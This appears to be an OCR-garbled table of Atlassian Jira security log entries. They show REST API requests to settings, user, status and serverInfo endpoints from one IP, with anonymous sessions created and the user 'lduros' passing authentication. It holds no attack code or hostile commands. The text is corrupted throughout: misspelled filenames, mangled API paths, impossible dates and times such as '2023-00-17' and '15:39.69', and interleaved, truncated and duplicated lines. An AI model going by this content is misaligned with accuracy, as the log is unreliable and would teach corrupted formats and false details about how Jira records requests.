| alasian-jira-security.log:2023-00-17 15:28:21,26:24:0000 http-nio-8080-exec-8 url: /rest/api/api/2/settings hoursous 228/97x1 - 74.82.16.132,172.17.0.1 /rest/api/api/2/settings Httpsssion created [twins] alasian-jira-security.log:2023-00-17 15:28:21,26:46:0800 http-nio-8080-exec-8 url: /rest/api/api/2/settings lduros 928/97x1 - 74.82.16.132,172.17.0.1 /rest/api/api/2/settings Httpsssion created [twins] alasian-jira-security.log:2023-00-17 15:28:46.268+0000 http-nio-8080-exec-4 url: /rest/api/api/2/settings anonymous 929/80%1 - 74.82.16.132,172.17.0.1 /rest/api/settings Httpsssion created [the0xol] alasian-jira-security.log:2023-00-17 15:29:37,954+0000 http-nio-8080-exec-4 url: /rest/api/2/settings anonymous 929/10/17 - 74.82.16.132,172.17.0.1 /rest/api/2/settings Httpsssion created [the0xol] alasian-jira-security.log:2023-00-17 15:29:37,954+0000 http-nio-8080-exec-3 url: /rest/api/2/settings lduros 928/10/11 - 74.82.16.132,172.17.0.1 /rest/api/2/settings Httpsssion created [the0xol] alasian-jira-security.log:2023-00-17 15:29:37,954+0000 http-nio-8080-exec-3 url: /rest/api/2/user anonymous 929/10/21 - 74.82.16.132,172.17.0.1 /rest/api/2/user Httpsssion created [th0xol] alasian-jira-security.log:2023-00-17 15:29:37,954+0000 http-nio-8080-exec-3 url: /rest/api/2/user anonymous 929/10/21 - 74.82.16.132,172.17.0.1 /rest/api/2/user Httpsssion created [th0xol] alasian-jira-security.log:2023-00-17 15:29:41,244+0000 http-nio-8080-exec-5 url: /rest/api/2/user lduros 929/10/21 - 74.82.16.132,172.17.0.1 /rest/api/2/user Httpsssion created [th00n] allasian-jira-security.log:2023-00-17 15:29:44,514+0000 http-nio-8080-exec-5 url: /rest/api/2/user lduros 929/10/21 - 74.82.16.132,172.17.0.1 /rest/api/2/settings Httpsssion created [th00n] allasian-jira-security.log:2023-00-17 15:39.69,90+0000 http-nio-8080-exec-5 url: /rest/api/2/settings anonymous 929/10/21 - 74.82.16.132,172.17.0.1 /rest/api/2/settings Httpsssion created [th00n] allasian-jira-security.log:2023-00-17 15:39.69,90+0000 http-nio-8080-exec-6 url: /rest/ap | rition / rest/dbs/s/issachungenetbas/seconsruxs/j/missachisachisachisachisachisachisachisac |
|--|--|
| <pre>stassim-jira-security.log:2023-08-17 15:28:14, 0444000 http-nio-6000-exec-4 urit /rest/mpi/settings lduros 028x07x1 - 74.82.16.132,172.17.0.1 /rest/mpi/settings The user 'lduros' nas PASSED authentication. stassim-jira-security.log:2023-08-17 15:28:46, 304+0000 http-nio-6000-exec-4 urit /rest/mpi/settings lduros 028x00x1 - 74.82.16.132,172.17.0.1 /rest/mpi//settings The user 'lduros' nas PASSED authentication. stassim-jira-security.log:2023-08-17 15:29:12, 000+0000 http-nio-6000-exec-4 urit /rest/mpi/settings lduros 028x00x1 - 74.82.16.132,172.17.0.1 /rest/mpi//settings The user 'lduros' nas PASSED authentication. stassim-jira-security.log:2023-08-17 15:29:12, 000+0000 http-nio-6000-exec-9 urit /rest/mpi/2/settings anonymous 92%101x1 - 74.82.16.132,172.17.0.1 /rest/mpi/2/settings The user 'lduros' nas PASSED authentication stassim-jira-security.log:2023-08-17 15:29:37, 95%+0000 http-nio-6000-exec-9 urit /rest/mpi/2/settings anonymous 92%101x1 - 74.82.16.132,172.17.0.1 /rest/mpi/2/settings The user 'lduros' nas PASSED authentication stassim-jira-security.log:2023-08-17 15:29:43, 95%+0000 http-nio-6000-exec-5 urit /rest/mpi/2/settings anonymous 92%103x1 - 74.82.16.132,172.17.0.1 /rest/mpi/2/set The user 'lduros' nas PASSED authentication stassim-jira-security.log:2023-08-17 15:29:44, 044+0000 http-nio-6000-exec-5 urit /rest/mpi/2/settings anonymous 92%103x1 - 74.82.16.132,172.17.0.1 /rest/mpi/2/sets The user 'lduros' nas PASSED authentication n. stassim-jira-security.log:2023-08-17 15:29:46, 50%+00000 http-nio-6000-exec-5 urit /rest/mpi/2/settings anonymous 92%104x1 - 74.82.16.132,172.17.0.1 /rest/mpi/2/sets The user 'lduros' has PASSED authentication. stassim-jira-security.log:2023-08-17 15:29:46, 50%+00000 http-nio-6000-exec-5 urit /rest/mpi/2/status anonymous 92%104x1 - 74.82.16.132,172.17.0.1 /rest/mpi/2/status Thuses 'lduros' has PASSED authentication. stassim-jira-security.log:2023-08-17 15:30:60, 90%+00000 http-nio-6000-exec-2 urit /rest/mpi/2/status anonymous 93%106x1 - 74.82.16.132,172.17.0.1 /rest/</pre> | atlassian-jira-security.log:2023-08-17 15:28:21,632+0000 http-nio-8000-exec-8 url: /rest/api/api/2/settings anonymous 928x97x1 - 74.82.16.132,172.17.0.1 /rest/api/api/2/settings HttpSession crasted [lvin jc2] |
| authentication. exclassism-jira-security.log:223-88-17 15:28:46,284:4000 http-nio-6008-exec-4 url: /rest/mpi/settings anonymous 928:08x1 - 74.82.16.132,172.17.8.1 /rest/mpi/settings The user 'lduros' has PASSED stlassism-jira-security.log:223-88-17 15:29:12,080+6000 http-nio-6008-exec-4 url: /rest/mpi/settings anonymous 928:08x1 - 74.82.16.132,172.17.8.1 /rest/mpi/settings The user 'lduros' has PASSED uthentication. stlassism-jira-security.log:223-88-17 15:29:12,080+6000 http-nio-6008-exec-9 url: /rest/mpi/settings anonymous 929:18ix1 - 74.82.16.132,172.17.8.1 /rest/mpi/settings The user 'lduros' has PASSED uthentication. stlassism-jira-security.log:223-88-17 15:29:37,964+6000 http-nio-6008-exec-3 url: /rest/mpi/settings anonymous 929:18ix1 - 74.82.16.132,172.17.8.1 /rest/mpi/settings thures 'lduros' has PASSED uthentication. stlassism-jira-security.log:223-88-17 15:29:37,964+6000 http-nio-6008-exec-3 url: /rest/mpi/s/user anonymous 929:18ix1 - 74.82.16.132,172.17.8.1 /rest/mpi/suser The user 'lduros' has PASSED uthentication. stlassism-jira-security.log:2223-88-17 15:29:37,964+6000 http-nio-6008-exec-5 url: /rest/mpi/s/lsuser lduros 929:18ix1 - 74.82.16.132,172.17.8.1 /rest/mpi/susers The user 'lduros' has PASSED uthentication. stlassism-jira-security.log:2223-88-17 15:29:46,509+40000 http-nio-6008-exec-5 url: /rest/mpi/s/stures lduros 929:18ix1 - 74.82.16.132,172.17.8.1 /rest/mpi/susers The user 'lduros' has PASSED uthentication. stlassism-jira-security.log:2223-88-17 15:29:46,509+40000 http-nio-6008-exec-18 url /rest/mpi/s/stures lduros 929:18ix1 - 74.82.16.132,172.17.8.1 /rest/mpi/susers The user 'lduros' has PASSED uthentication. stlassism-jira-security.log:2223-88-17 15:29:46,509+40000 http-nio-6008-exec-28 url /rest/mpi/s/stures lduros 929:18ix1 - 74.82.16.132,172.17.8.1 /rest/mpi/s/stures thuses'lduros' has PASSED uthentication. stlassism-jira-security.log:2223-88-17 15:38:46,409+4000 http-nio-6008-exec-28 url /rest/mpi/s/status lduros 929:18ix1 - 74.82.16.132,172.17.8.1 /res | atlassian-jira-security.log:2023-08-17 15:28:21.646+0000 http-nio-8080-exec-8 url: /rest/api/2/settings lduros 928x97x1 - 74.82.16.132.172.17.0.1 /rest/api/api/2/settings The user 'lduros' has PASSED |
| <pre>slissim-jira-security.log:202-88-17 15:28:46,284-6000 http-nio-8000-exec-4 url: /rest/mj/settings hunymous 928x98x1 - 74.82.16.132,172.17.01./rest/mj/settings The user 'lduros' has PASSED slassim-jira-security.log:202-88-17 15:29:12,800-6000 http-nio-8000-exec-4 url: /rest/mj/settings anonymous 929x1021 - 74.82.16.132,172.17.01./rest/mj/settings HutpSession created [htMofns] slassim-jira-security.log:2023-88-17 15:29:12,800-6000 http-nio-8000-exec-3 url: /rest/mj/s/settings lduros 929x1021 - 74.82.16.132,172.17.0.1 /rest/mj/s/settings The user 'lduros' has PASSED suthentication. slassim-jira-security.log:2023-88-17 15:29:37,954-6000 http-nio-8000-exec-3 url: /rest/mj/s/lsutings anonymous 929x1021 - 74.82.16.132,172.17.0.1 /rest/mj/s/user HttpSession created [fvqda] slassim-jira-security.log:2023-88-17 15:29:37,954-6000 http-nio-8000-exec-3 url: /rest/mj/s/lsuters anonymous 929x1021 - 74.82.16.132,172.17.0.1 /rest/mj/s/lsuter HttpSession created [rquads] slassim-jira-security.log:2023-88-17 15:29:42,424-6000 http-nio-8000-exec-5 url: /rest/mj/s/lsuters anonymous 929x1021 - 74.82.16.132,172.17.0.1 /rest/mj/s/lsuters httpSession created [rquads] slassim-jira-security.log:2023-88-17 15:29:44,5699-6000 http-nio-8000-exec-5 url: /rest/mj/s/lsuters anonymous 929x1031 - 74.82.16.132,172.17.0.1 /rest/mj/s/lsuters httpSession created [rquads] slassim-jira-security.log:2023-88-17 15:29:44,5699-6000 http-nio-8000-exec-10 url: /rest/mj/s/lsuters anonymous 929x1041 - 74.82.16.132,172.17.0.1 /rest/mj/s/lsuters httpSession created [rquads] slassim-jira-security.log:2023-88-17 15:39:46,500-6000 http-nio-8000-exec-20 url: /rest/mj/s/status httpSession created [rquads] slassim-jira-security.log:2023-88-17 15:39:46,900-6000 http-nio-8000-exec-20 url: /rest/mj/s/status httpSession created [rquads] slassim-jira-security.log:2023-88-17 15:39:46,409-6000 http-nio-8000-exec-20 url: /rest/mj/s/status httpSession created [rquads] slassim-jira-security.log:2023-88-17 15:39:46,409-6000 http-nio-8000-exec-20 url: /rest/mj/s/status http</pre> | authentication. |
| <pre>slassim-jira-security.log:222-88-17 15:28:46,383+0800 http-nio-8888-exec-4 url in. elassim-jira-security.log:222-88-17 15:29:12,080+0800 http-nio-8888-exec-9 url ifstering //settings nonymous 929x181x1 - 74.82.16.132,172.17.0.1 /rest/ms//settings The user 'lduros' has PASSED urthenticat in. elassim-jira-security.log:222-88-17 15:29:12,080+0800 http-nio-8888-exec-9 url ifstering //settings nonymous 929x181x1 - 74.82.16.132,172.17.0.1 /rest/ms//settings The user 'lduros' has PASSED urthenticat in. elassim-jira-security.log:222-88-17 15:29:37,955+0800 http-nio-8888-exec-9 url ifstering //user nonymous 929x181x1 - 74.82.16.132,172.17.0.1 /rest/ms//settings The user 'lduros' has PASSED authentication. elassim-jira-security.log:222-88-17 15:29:37,955+0800 http-nio-8888-exec-3 url ifstering //user nonymous 929x181x1 - 74.82.16.132,172.17.0.1 /rest/ms//user The user 'lduros' has PASSED authentication. elassim-jira-security.log:222-88-17 15:29:44,950+0800 http-nio-8888-exec-3 url ifstering //user nonymous 929x181x1 - 74.82.16.132,172.17.0.1 /rest/ms//user The user 'lduros' has PASSED authentication. elassim-jira-security.log:222-88-17 15:29:44,950+0800 http-nio-8888-exec-10 url ifstering //user lduros 929x181x1 - 74.82.16.132,172.17.0.1 /rest/ms//user HttpSession created [fuquad] elassim-jira-security.log:222-88-17 15:39:42,900+0800 http-nio-8888-exec-10 url ifstering //settings lduros 929x184x1 - 74.82.16.132,172.17.0.1 /rest/ms//user HttpSession created [ichden] elassim-jira-security.log:223-88-17 15:39:49,900+0800 http-nio-8888-exec-10 url ifstering //settings lduros 939x1851 - 74.82.16.132,172.17.0.1 /rest/ms//sitens HttpSession created [ichden] elassim-jira-security.log:223-88-17 15:39:49,900+0800 http-nio-6888-exec-20 url ifstering///setting lduros 939x1851 - 74.82.16.132,172.17.0.1 /rest/ms//sitens HttpSession created [ichden] elassim-jira-security.log:223-88-17 15:39:49,4900 http-nio-8888-exec-20 url ifstering//sitens lduros 939x1851 - 74.82.16.132,172.17.0.1 /rest/ms//sitens HttpSession created [ichden] el</pre> | atlassian-jira-security.log:2023-08-17 15:28:46.284+0000 http-nio-8080-exec-4 url: /rest/api/settings anonymous 928x98x1 - 74.82.16.132.172.17.0.1 /rest/api/settings HttpSession created [5nybsb] |
| <pre>ion. classim-jira-security.log:2023-08-17 15:29:12,000+0000 http-nio-0000-exec-9 url: /rest/mpi/2/settings lduros 920x101x1 - 74.82.16.132,172.17.0.1 /rest/mpi/2/settings The user 'lduros' has PASED authent classim-jira-security.log:2023-08-17 15:29:12,000+0000 http-nio-0000-exec-3 url: /rest/mpi/2/settings lduros 920x101x1 - 74.82.16.132,172.17.0.1 /rest/mpi/2/user HttpSession created [ht640ns] /rest/mpi/2/settings lduros 920x101x1 - 74.82.16.132,172.17.0.1 /rest/mpi/2/user HttpSession created [ht6400ns] /rest/mpi/2/user anonymous 920x101x1 - 74.82.16.132,172.17.0.1 /rest/mpi/2/user HttpSession created [ht640ns] /rest/mpi/2/user showymous 920x101x1 - 74.82.16.132,172.17.0.1 /rest/mpi/2/user HttpSession created [ht640ns] /rest/mpi/2/users anonymous 920x101x1 - 74.82.16.132,172.17.0.1 /rest/mpi/2/users HttpSession created [ht640ns] /rest/mpi/2/users anonymous 920x101x1 - 74.82.16.132,172.17.0.1 /rest/mpi/2/users HttpSession created [ht640ns] /rest/mpi/2/users lduros 920x101x1 - 74.82.16.132,172.17.0.1 /rest/mpi/2/users The user 'lduros' has PASED authentication. /rest/mpi/2/users lduros 920x101x1 - 74.82.16.132,172.17.0.1 /rest/mpi/2/users The user 'lduros' has PASED authentication. /rest/mpi/2/users lduros 920x101x1 - 74.82.16.132,172.17.0.1 /rest/mpi/2/users The user 'lduros' has PASED authentication. /rest/mpi/2/status anonymous 920x101x1 - 74.82.16.132,172.17.0.1 /rest/mpi/2/status The user 'lduros' has PASED authentication. /rest/mpi/2/status lduros 920x104x1 - 74.82.16.132,172.17.0.1 /rest/mpi/2/status The user 'lduros' has PASED authentication. /rest/mpi/2/status lduros 920x104x1 - 74.82.16.132,172.17.0.1 /rest/mpi/2/status The user 'lduros' has PASED authentication. /rest/mpi/2/status lduros 930x105x1 - 74.82.16.132,172.17.0.1 /rest/mpi/2/status HttpSession created [kd1m0] /rest/mpi/2/status lduros 930x105x1 - 74.82.16.132,172.17.0.1 /rest/mpi/2/status HttpSession created [kd1m0] /rest/mpi/2/status lduros 930x105x1 - 74.82.16.132,172.17.0.1 /rest/mpi/2/status HttpSession created [kd1m0] /rest/mpi/2/</pre> | atlassian-jira-security.log:2023-08-17 15:28:46.303+0000 http-nio-8080-exec-4 url: /rest/ani/settings lduros 928x98x1 - 74.82.16.132.172.17.0.1 /rest/ani/settings The user 'lduros' has PASSED Buthenticat |
| <pre>sclassian-jira-security.log:2023-08-17 15:29:12,080-0000 http-nio-0800-exec-0 url: sclassian-jira-security.log:2023-08-17 15:29:37,055-0000 http-nio-0800-exec-0 url: /rest/pi//settings lduros 920x101x1 - 74.82:16.132,172.17.0.1 /rest/pi//settings The user 'lduros' has PASED authent tication. sclassian-jira-security.log:2023-08-17 15:29:37,055-0000 http-nio-0800-exec-0 url: /rest/pi//settings anonymous 920x101x1 - 74.82:16.132,172.17.0.1 /rest/pi//settings The user 'lduros' has PASED authentication sclassian-jira-security.log:2023-08-17 15:29:47,055-0000 http-nio-0800-exec-0 url: /rest/pi//users anonymous 920x103x1 - 74.82:16.132,172.17.0.1 /rest/pi//users HttpSession created [fxquan5] sclassian-jira-security.log:2023-08-17 15:29:47,044-0000 http-nio-0800-exec-0 url: /rest/pi//security.log:2023-08-17 15:29:45,056-0000 http-nio-0800-exec-0 url: /rest/pi//security.log:2023-08-17 15:39:09,050-0000 http-nio-0800-exec-0 url: /rest/pi//status anonymous 920x104x1 - 74.82:16.132,172.17.0.1 /rest/pi//status HttpSession created [ch0en] sclassian-jira-security.log:2023-08-17 15:39:09,360-0000 http-nio-0800-exec-0 url: /rest/pi//status anonymous 930x106x1 - 74.82:16.132,172.17.0.1 /rest/pi//status HttpSession created [ch0en] sclassian-jira-security.log:2023-08-17 15:39:09,360-0000 http-nio-0800-exec-0 url: /rest/pi//status anonymous 930x106x1 - 74.82:16.132,172.17.0.1 /rest/pi//status HttpSession created [ch10ed] sclassian-jira-security.log:2023-08-17 15:39:09,360-0000 http-nio-0800-exec-0 url: /rest/pi//status anonymous 930x106x1 - 74.82:16.132,172.17.0.1 /rest/pi//status HttpSession created [http-hio-8000-exec-0 url: /rest/pi//status</pre> | ion. |
| <pre>stlassian-jira-security.log:2223-88-17 15:29:12,090+0000 http-nio-8880-exec-9 url: /rest/api/2/settings lduros 929x102x1 - 74.82.16.132,172.17.0.1 /rest/api/2/settings The user 'lduros' has PASED authent atlassian-jira-security.log:2223-88-17 15:29:37,955+0000 http-nio-8880-exec-3 url: /rest/api/2/user lduros 929x102x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user The user 'lduros' has PASED authent atlassian-jira-security.log:2223-80-17 15:29:41,243+0000 http-nio-8880-exec-5 url: /rest/api/2/user lduros 929x102x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user The user 'lduros' has PASED authentication atlassian-jira-security.log:2223-80-17 15:29:41,243+0000 http-nio-8880-exec-5 url: /rest/api/2/users lduros 929x103x1 - 74.82.16.132,172.17.0.1 /rest/api/2/users The user 'lduros' has PASED althenticati on. atlassian-jira-security.log:2223-80-17 15:29:46,50+0000 http-nio-8880-exec-5 url: /rest/api/2/settings anonymous 929x104x1 - 74.82.16.132,172.17.0.1 /rest/api/2/settings HttpSession created [kuquag] atlassian-jira-security.log:2223-80-17 15:39:29,00+0000 http-nio-8880-exec-5 url: /rest/api/2/settings lduros 929x104x1 - 74.82.16.132,172.17.0.1 /rest/api/2/settings HttpSession created [kuduros' has PASED authenticati on. atlassian-jira-security.log:2223-80-17 15:39:29,00+0000 http-nio-8880-exec-5 url: /rest/api/2/settings lduros 929x104x1 - 74.82.16.132,172.17.0.1 /rest/api/2/settings HttpSession created [kuduros' has PASED authenticati iton. atlassian-jira-security.log:2223-80-17 15:39:69,390+0000 http-nio-8880-exec-2 url: /rest/api/2/status anonymous 930x106x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status HttpSession created [ax01m0] atlassian-jira-security.log:2223-80-17 15:39:69,300+0000 http-nio-8880-exec-2 url: /rest/api/2/status lduros 930x106x1 - 74.82.16.132,172.17.0.1 / rest/api/2/status HttpSession created [ax01m0] atlassian-jira-security.log:2223-80-17 15:39:64,40+0000 http-nio-8880-exec-2 url: /rest/api/2/status lduros 930x106x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status HttpSession created [ix04x4</pre> | atlassian-jira-security.log:2023-08-17 15:29:12.080+0000 http-nio-8080-exec-9 url: /rest/api/2/settings anonymous 929x101x1 - 74.82.16.132.172.17.0.1 /rest/api/2/settings HttpSession created [h849ns] |
| <pre>tication. etlassian-jira-security.log:2023-06-17 15:29:37,954-0000 http-nio-8080-exec-3 url: /rest/api/2/user lduros 929x102x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user The user 'lduros' has PASSED authentication etlassian-jira-security.log:2023-06-17 15:29:41,243-0000 http-nio-8080-exec-5 url: /rest/api/2/users lduros 929x102x1 - 74.82.16.132,172.17.0.1 /rest/api/2/users The user 'lduros' has PASSED authentication etlassian-jira-security.log:2023-06-17 15:29:41,244-0000 http-nio-8080-exec-5 url: /rest/api/2/users lduros 929x103x1 - 74.82.16.132,172.17.0.1 /rest/api/2/users The user 'lduros' has PASSED authentication etlassian-jira-security.log:2023-06-17 15:29:44,540+0000 http-nio-8080-exec-5 url: /rest/api/2/settings lduros 929x103x1 - 74.82.16.132,172.17.0.1 /rest/api/2/users The user 'lduros' has PASSED authentication etlassian-jira-security.log:2023-06-17 15:29:44,540+0000 http-nio-8080-exec-10 url /rest/api/2/settings lduros 929x104x1 - 74.82.16.132,172.17.0.1 /rest/api/2/settings HttpSession created [xa00] etlassian-jira-security.log:2023-06-17 15:30:09,900+0000 http-nio-60800-exec-3 url: /rest/api/2/setus anonymous 930x105x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status HttpSession created [za00] etlassian-jira-security.log:2023-06-17 15:30:09,900+0000 http-nio-60800-exec-3 url: /rest/api/2/status lduros 930x105x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status HttpSession created [za00] etlassian-jira-security.log:2023-06-17 15:30:09,900+0000 http-nio-60800-exec-3 url: /rest/api/2/status lduros 930x105x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status HttpSession created [xa01n0] etlassian-jira-security.log:2023-06-17 15:30:09,900+0000 http-nio-60800-exec-3 url: /rest/api/2/status lduros 930x105x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-06-17 15:30:09,900+0000 http-nio-60800-exec-4 url: /rest/api/2/status lduros 930x105x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentication. atlassian-j</pre> | atlassian-jira-security.loc:2023-08-17 15:29:12.090+0000 http-nio-8000-exec-9 url: //rest/api/2/settings lduros 929x101x1 - 74.82.16.132.172.17.0.1 /rest/api/2/settings The user 'lduros' has PASSED authen |
| <pre>stlassian-jira-security.log:2823-08-17 15:29:37,954:0000 http-nio-08080-exec-3 url: /rest/api/2/user anonymous 929x102x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user THttpSession created [rqu4a] stlassian-jira-security.log:2823-08-17 15:29:47,955:0000 http-nio-08080-exec-3 url: /rest/api/2/users anonymous 929x102x1 - 74.82.16.132,172.17.0.1 /rest/api/2/users Thuser 'lduros' has PASSED authentication atlassian-jira-security.log:2823-08-17 15:29:44,244:0000 http-nio-08080-exec-5 url: /rest/api/2/users anonymous 929x102x1 - 74.82.16.132,172.17.0.1 /rest/api/2/users Thuser 'lduros' has PASSED authentication atlassian-jira-security.log:2823-08-17 15:29:46,569:0000 http-nio-08080-exec-6 url: /rest/api/2/settings anonymous 929x104x1 - 74.82.16.132,172.17.0.1 /rest/api/2/settings Thuser 'lduros' has PASSED authentication atlassian-jira-security.log:2823-08-17 15:29:46,569:0000 http-nio-08080-exec-6 url: /rest/api/2/settings anonymous 929x104x1 - 74.82.16.132,172.17.0.1 /rest/api/2/settings The user 'lduros' has PASSED authentication atlassian-jira-security.log:2823-08-17 15:39:02,900:0000 http-nio-08080-exec-8 url: /rest/api/2/status anonymous 930x106x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2823-08-17 15:39:09,900:0000 http-nio-08080-exec-8 url: /rest/api/2/status anonymous 930x106x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2823-08-17 15:39:09,360:0000 http-nio-08080-exec-2 url: /rest/api/2/status anonymous 930x106x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status HttpSession created [x481m0] atlassian-jira-security.log:2823-08-17 15:39:04,940000 http-nio-08080-exec-2 url: /rest/api/2/status lduros 930x106x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2823-08-17 15:39:46,409:0000 http-nio-08080-exec-2 url: /rest/api/2/user anonymous 930x106x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user HttpSes</pre> | tication. |
| <pre>atlassian-jira-security.log:2023-08-17 15:29:37,955-00000 http-nio-8080-exec-3 url /rest/api/2/user lduros 929x102x1 - 74.82.16.132,172.17.8.1 /rest/api/2/user The user 'lduros' has PASSED authentication atlassian-jira-security.log:2023-08-17 15:29:41,243+0000 http-nio-8080-exec-5 url /rest/api/2/users anonymous 929x103x1 - 74.82.16.132,172.17.8.1 /rest/api/2/users The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:29:45,509+0000 http-nio-8080-exec-5 url /rest/api/2/users lduros 929x103x1 - 74.82.16.132,172.17.8.1 /rest/api/2/users The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:29:46,509+0000 http-nio-8080-exec-6 url /rest/api/2/strings lduros 929x104x1 - 74.82.16.132,172.17.8.1 /rest/api/2/strings httpSession created [tch0en] atlassian-jira-security.log:2023-08-17 15:30:02,900+0000 http-nio-8080-exec-8 url /rest/api/2/strings lduros 929x104x1 - 74.82.16.132,172.17.8.1 /rest/api/2/strings httpSession created [c10407] atlassian-jira-security.log:2023-08-17 15:30:02,900+0000 http-nio-8080-exec-8 url /rest/api/2/status anonymous 930x105x1 - 74.82.16.132,172.17.8.1 /rest/api/2/status HttpSession created [c10406] atlassian-jira-security.log:2023-08-17 15:30:02,900+0000 http-nio-8080-exec-2 url /rest/api/2/status lduros 930x105x1 - 74.82.16.132,172.17.8.1 /rest/api/2/status The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:30:09,350+0000 http-nio-8080-exec-2 url /rest/api/2/status lduros 930x105x1 - 74.82.16.132,172.17.8.1 /rest/api/2/status The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:30:09,360+0000 http-nio-8080-exec-2 url /rest/api/2/status lduros 930x105x1 - 74.82.16.132,172.17.8.1 /rest/api/2/status The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:30:45,493+0000 http-nio-8080-exec-2 url /rest/api/2/status lduros 930x105x1 - 74.82.16.132,172.17.8.1 /rest/api/2/status The user 'lduros' has PASSED authentication. atlassi</pre> | atlassian-jira-security.log:2023-08-17 15:29:37.954+0000 http-nio-8080-exec-3 url: /rest/api/2/user anonymous 929x102x1 - 74.82.16.132.172.17.0.1 /rest/api/2/user HttpSession created [fyga4a] |
| <pre>rlassian-jira-security.log:223-88-17 15:29:41,243+0000 http-nio-8080 exec-5 url: rtss/api/2/users anonymous 929x103x1 - 74.82.16.132,172.17.0.1 /rest/api/2/users HttpSession created [xquad] rlassian-jira-security.log:223-88-17 15:29:45,254+0000 http-nio-8080 exec-10 url rtsst/api/2/users lduros 929x103x1 - 74.82.16.132,172.17.0.1 /rest/api/2/settings HttpSession created [kch0cn] allassian-jira-security.log:2023-08-17 15:29:45,516+0000 http-nio-8080 exec-10 url rtsst/api/2/settings anonymous 929x104x1 - 74.82.16.132,172.17.0.1 /rest/api/2/settings HttpSession created [kch0cn] allassian-jira-security.log:2023-08-17 15:39:46,516+0000 http-nio-8080 exec-10 url rtsst/api/2/sttings lduros 929x104x1 - 74.82.16.132,172.17.0.1 /rest/api/2/settings HttpSession created [kch0cn] allassian-jira-security.log:2023-08-17 15:39:20,900+0000 http-nio-8080 exec-8 url rtsst/api/2/sttus anonymous 930x106x1 - 74.82.16.132,172.17.0.1 /rest/api/2/sttus HttpSession created [kch0cn] allassian-jira-security.log:2023-08-17 15:39:20,900+0000 http-nio-8080 exec-8 url rtsst/api/2/sttus lduros 930x106x1 - 74.82.16.132,172.17.0.1 /rest/api/2/sttus HttpSession created [kch0cn] allassian-jira-security.log:2023-08-17 15:39:20,900+0000 http-nio-8080 exec-8 url rtsst/api/2/status lduros 930x106x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status HttpSession created [kch0cn] atlassian-jira-security.log:2023-08-17 15:39:40,930+0000 http-nio-8080 exec-2 url rtsst/api/2/status lduros 930x106x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status HttpSession created [kch0cn] atlassian-jira-security.log:2023-08-17 15:39:45,499+0000 http-nio-8080 exec-2 url rtsst/api/2/status lduros 930x106x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status HttpSession created [kch0cn] atlassian-jira-security.log:2023-08-17 15:39:45,499+0000 http-nio-8080 exec-2 url rtsst/api/2/status lduros 930x106x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status HttpSession created [tidx0cn] rtatssian-jira-security.log:2023-08-17 15:31:13,170+0000 http-nio-8080 exec-2 url rtsst/api/2/user anonymous 93</pre> | atlassian-jira-security.log:2023-08-17 15:29:37,955+0000 http-nio-8080-exec-3 url: /rest/api/2/user lduros 929x102x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user The user 'lduros' has PASSED authentication |
| <pre>atlassian-jira-security.log:222-88-17 15:29:41, 243-0000 http-nio-8000 exec-5 url: /rest/apj/2/users anonymous 92%103%1 - 74.82.16.132,172.17.0.1 /rest/apj/2/users The user 'lduros' has PASED a thenticati on. atlassian-jira-security.log:202-88-17 15:29:42, 244-0000 http-nio-8000 exec-5 url: /rest/apj/2/users anonymous 92%104%1 - 74.82.16.132,172.17.0.1 /rest/apj/2/settings The user 'lduros' has PASED a thenticati on. atlassian-jira-security.log:202-88-17 15:29:46, 516-0000 http-nio-8000 exec-6 url: /rest/apj/2/settings anonymous 92%104%1 - 74.82.16.132,172.17.0.1 /rest/apj/2/settings The user 'lduros' has PASED attentication. atlassian-jira-security.log:2023-88-17 15:30:02, 900+0000 http-nio-8000 exec-6 url: /rest/apj/2/status anonymous 93%106%1 - 74.82.16.132,172.17.0.1 /rest/apj/2/status The user 'lduros' has PASED attentication. atlassian-jira-security.log:2023-88-17 15:30:02, 900+0000 http-nio-8000 exec-6 url: /rest/apj/2/status anonymous 93%106%1 - 74.82.16.132,172.17.0.1 /rest/apj/2/status The user 'lduros' has PASED authentication. atlassian-jira-security.log:2023-88-17 15:30:02, 900+0000 http-nio-8000 exec-6 url: /rest/apj/2/status anonymous 93%106%1 - 74.82.16.132,172.17.0.1 /rest/apj/2/status The user 'lduros' has PASED authentication. atlassian-jira-security.log:2023-88-17 15:30:09, 350+0000 http-nio-8000 exec-6 url: /rest/apj/2/status anonymous 93%106%1 - 74.82.16.132,172.17.0.1 /rest/apj/2/status The user 'lduros' has PASED authentication. atlassian-jira-security.log:2023-88-17 15:30:09, 360+0000 http-nio-8000 exec-6 url: /rest/apj/2/status anonymous 93%106%1 - 74.82.16.132,172.17.0.1 /rest/apj/2/status The user 'lduros' has PASED authentication. atlassian-jira-security.log:2023-88-17 15:30:45,493+0000 http-nio-8000-exec-6 url: /rest/apj/2/status anonymous 93%106%1 - 74.82.16.132,172.17.0.1 /rest/apj/2/serverInfo The user 'lduros' has PASED authentication. atlassian-jira-security.log:2023-88-17 15:30:13,170+0000 http-nio-8000-exec-6 url: /rest/apj/2/status anonymous 93%106%1 - 